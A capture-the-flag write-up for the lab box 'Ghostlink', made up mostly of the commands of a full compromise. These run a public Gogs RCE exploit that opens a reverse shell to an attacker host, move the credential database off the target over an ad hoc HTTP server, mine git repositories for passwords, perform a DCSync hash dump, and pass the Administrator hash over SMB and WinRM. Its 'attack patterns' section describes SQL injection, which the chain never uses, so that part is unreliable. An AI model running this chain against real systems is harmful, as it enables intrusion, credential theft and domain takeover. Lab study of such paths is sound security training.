Ghostlink
Summary
I enumerated a hidden virtual-host running a vulnerable Gogs source-control server, exploited a critical unauthenticated remote-code-execution flaw (CVE-2025-8110) to land an OS shell as the application's 'git' service account, then stole a world-readable SQLite credential database. Plaintext credentials recovered from that database gave API access to private git repositories where a second domain user's password was committed in code.
Those credentials opened a WinRM session, after which an Active Directory privilege misconfiguration allowed me to replicate every domain password hash. The domain Administrator's NTLM hash was passed directly to SMB to achieve full domain compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"
export TOKEN="<the-token-you-captured>"Attack path: how the box was taken
Exact commands 3
Full TCP scan; reveals IIS 10.0 on 80, Kerberos 88, LDAP 389, SMB 445, WinRM 5985, MQTT 1883.
$ rustscan -a $TARGET --ulimit 5000 -- -sV -sC -Pn -oN nmap_initial.txtFuzz virtual hosts against the IIS server; hit on gpz-op26-toolkits.ghostlink.htb.
$ ffuf -u http://$TARGET -H 'Host: FUZZ.ghostlink.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 400,404Register discovered vhost in local resolver before browsing.
$ echo "$TARGET ghostlink.htb gpz-op26-toolkits.ghostlink.htb" >> /etc/hostsExact commands 3
Clone public PoC; check its README for exact argument names.
$ git clone --depth 1 https://github.com/kayl22/cve-2025-8110-GOGS-RCE.git ~/lab/ghostlink/cve-2025-8110-GOGS-RCEStart reverse-shell listener on my machine (LHOST $ATTACKER_IP).
$ nc -lvnp 4444Fire the exploit; adjust flag names to match the PoC's actual CLI interface.
$ python3 ~/lab/ghostlink/cve-2025-8110-GOGS-RCE/exploit.py --url http://gpz-op26-toolkits.ghostlink.htb --lhost $ATTACKER_IP --lport 4444FixPatch or replace the vulnerable Gogs instance immediatelyCritical
Exact commands 4
Confirm world-readable permissions on the git shell.
$ ls -la /opt/gogs/data/gogs.dbServe the database over HTTP from the target (run on the git shell).
$ cp /opt/gogs/data/gogs.db /tmp/gogs.db && python3 -m http.server 8888Pull the file to my machine.
$ wget http://$TARGET:8888/gogs.db -O ~/lab/ghostlink/gogs.dbDump all user credential rows; yields vroth's password (plaintext or bcrypt: crack if needed).
$ sqlite3 ~/lab/ghostlink/gogs.db "SELECT name, passwd, salt, email FROM user;"FixRestrict file permissions on the Gogs application databaseHigh
Exact commands 5
Mint an API token; save the returned SHA1.
$ curl -s -X POST 'http://gpz-op26-toolkits.ghostlink.htb/api/v1/users/vroth/tokens' -u "vroth:$PASSWORD" -H 'Content-Type: application/json' -d '{"name":"pentest"}' | jq -r '.sha1'List all repositories accessible to vroth.
$ curl -s -H "Authorization: token $TOKEN" 'http://gpz-op26-toolkits.ghostlink.htb/api/v1/repos/search?limit=50' | jq -r '.data[].full_name'Clone each discovered repo locally.
$ git clone http://$USERNAME:$PASSWORD@gpz-op26-toolkits.ghostlink.htb/vroth/hook282 ~/lab/ghostlink/hook282Search files and committed history for plaintext secrets; surfaces nvirelli's password.
$ grep -rEi 'password|passwd|secret|cred' ~/lab/ghostlink/hook282/Also scan git commit history, not only the current working tree.
$ git -C ~/lab/ghostlink/hook282 log -p | grep -Ei 'password'FixRemove credentials from source code and enforce pre-commit secret scanningHigh
Exact commands 3
Confirm WinRM access before opening a full session; expect Pwn3d! On success.
$ nxc winrm $TARGET -u nvirelli -p "$PASSWORD2"Open interactive WinRM session.
$ evil-winrm -i $TARGET -u nvirelli -p "$PASSWORD2"Read user flag; value is <user.txt>.
$ type C:\Users\nvirelli\Desktop\user.txtExact commands 2
Collect AD objects and ACLs; import the resulting ZIP into BloodHound and run 'Shortest Paths to Domain Admin from Owned Principals'.
$ bloodhound-python -u nvirelli -p "$PASSWORD2" -d ghostlink.htb -dc $TARGET -c All --zipPerform DCSync to dump all domain NTLM hashes; succeeds when nvirelli holds GetChangesAll / Replicating Directory Changes All.
$ impacket-secretsdump ghostlink.htb/nvirelli:"$PASSWORD2"@$TARGETFixRemove DCSync / directory-replication rights from non-privileged accountsCritical
Exact commands 3
Quick PTH validation; expect Pwn3d! Confirming domain admin access.
$ nxc smb $TARGET -u Administrator -H "$HASH"Non-interactive one-liner to fetch root.txt; value is <root.txt>.
$ printf 'use C$\ncd Users\\Administrator\\Desktop\nget root.txt\nexit\n' | impacket-smbclient -hashes ":$HASH" "ghostlink.htb/Administrator@$TARGET" -no-passAlternative: open a full interactive shell as Administrator via WinRM PTH.
$ evil-winrm -i $TARGET -u Administrator -H "$HASH"Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-04 22:43:06Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: ghostlink.htb, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghostlink.htb, Site: Default-First-Site-Name) |
| 1883/tcp | mqtt |
| 2179/tcp | vmrdp? |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: ghostlink.htb, Site: Default-First-Site-Name) |
| 3269/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghostlink.htb, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | adws? |
| 49664/tcp | unknown |
| 49677/tcp | unknown |
| 49678/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 49679/tcp | unknown |
| 49680/tcp | unknown |
| 49898/tcp | unknown |
| 49915/tcp | unknown |
| 51140/tcp | unknown |